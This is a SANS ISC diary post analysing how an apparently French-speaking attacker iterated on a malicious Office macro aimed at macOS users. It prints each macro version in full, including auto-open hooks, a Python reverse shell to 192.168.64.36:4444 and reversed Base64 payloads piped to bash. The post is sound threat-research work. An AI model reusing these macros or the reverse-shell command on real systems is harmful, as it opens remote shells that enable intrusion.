Threat Level: green Handler on Duty: Guy Bruneau

SANS ISC: How Attackers Brush Up Their Malicious Scripts SANS ISC InfoSec Forums

Participate: Learn more about our honeypot network
https://isc.sans.edu/honeypot.html

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
How Attackers Brush Up Their Malicious Scripts

On Friday, I received a bunch of alerts from one of my YARA hunting rules. Several samples were submitted from the same account (through the VT API), from the same country (US), and in a very short period of time. All the submitted files were OLE2 files containing a malicious macro. All of them had a low VT score so it deserved some investigations. I downloaded the samples and had a look at them.

Indeed all OLE2 files contained the same main() macro:

sub Autoexec()
    Call Main
End Sub

Sub Auto_Open()
    Call Main
End Sub

Sub AutoOpen()
    Call Main
End Sub

Sub Workbook_Open()
    Call Main
End Sub

I extracted the VBA code via oledump and reviewed them chronologically (based on the upload time on VT). Here is the first version of the macro:

Private Sub Main()
  Shell ("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((""192.168.64.36"",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([""/bin/bash"",""-i""]);'")
End Sub

Nothing fancy, a simple macro based on a /bin/bash backdoor. The presence of Python code and the bash shell indicates that the macro is used in a targeted attack. Same remark for the RFC1918 IP address. The used port (4444) indicates probably the use of a Kali host by the attacker.

Then, the attacker added a notification popup (for debugging purposes?):

Private Sub Main()
    Shell ("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((""192.168.64.36"",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([""/bin/bash"",""-i""]);'")
    Shell ("osascript -e 'display notification ""Macro execut<8e>e"" with title ""Microsoft Word"" '")
End Sub

'osascript' is a macOS tool that allows executing OSA scripts (AppleScript, JavaScript, etc.)[1]. We learned something new about the target: it uses a macOS device and the attacker speaks in French. We have this string in the OLE2 file:

Attribute VB_Name = "Feuil1" ("Feuille" means "Sheet")

Also, the displayed notification is in French/

Then the attacker another technique and tried to store the payload into the document comments:

Private Sub Main()
    Dim sc As String
    sc = ActiveDocument.BuiltInDocumentProperties("comments").Value
    Shell (sc)
End Sub

The next step was to obfuscate the payload by reversing the code and encoding in in Base64: 

Private Sub Main()
    Dim sc As String
    sc = ActiveDocument.BuiltInDocumentProperties("comments").Value
    sc = Right(sc, Len(sc) - 10)
    Shell ("echo """ & sc & """|rev|base64 -D|bash")
End Sub

Another version of the same technique:

Private Sub Main()
    Dim sc As String
    sc = ActiveDocument.BuiltInDocumentProperties("comments").Value
    Shell ("echo """ & sc & """|rev|base64 -D|bash")
End Sub

The next one is funnier: the attacker used the text2speech capabilities of macOS using the 'say' command. 

Private Sub Main()
    Shell ("echo ""KEDI5F2c""|rev|base64 -D|bash")
    Shell ("osascript -e 'display notification ""Macro execut<8e>e"" with title ""Microsoft Word"" '")
End Sub

And finally the latest version found with the Base64 data directly available in the macro:

Private Sub Main()
    Shell ("echo ""gCnsTKdJSatICLig2chJ2LulmYvIyWowGbhNmLzNXZj9mcwJWdz1Dc7kiMskCKv5WZslmZuMHKyAXdk5ycvByOpEDLpgybuVGbpZmLzhiMwVHZuM3bgsTKwwSKo8mblxWam5ycoIDc1RmLz92OpkCN0QDNsIiNz4CN24CO2EjLykTMigCK0NWZu52bj5yc7kSTBVkUUN1XLN0TT5Cdlt2YvNHLUVkTJ9lRB5Cdlt2YvNHK0V2aj92cuQXZrN2bz1zc7M3bsM3clN2byBnY1NHL0V2aj92cgQncvBXbpdCIj1CIu9Ga0lHc""|rev|base64 -D|bash")
    Shell ("osascript -e 'display notification ""Macro execut<8e>e"" with title ""Microsoft Word"" '")
End Sub

Note the Base64 data contains the same Python code as seen in the first version.

Based on all those findings, we can probably conclude that the attacker is preparing a macro to compromise a macOS user. Another red-team exercise on its way?

[1] https://osxdaily.com/2016/08/19/run-applescript-command-line-macos-osascript/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I will be teaching next: Reverse-Engineering Malware: Malware Analysis Tools and Techniques - SANS Threat Hunting Europe 2021

Xme

574 Posts
ISC Handler
Nov 9th 2020

Sign Up for Free or Log In to start participating in the conversation!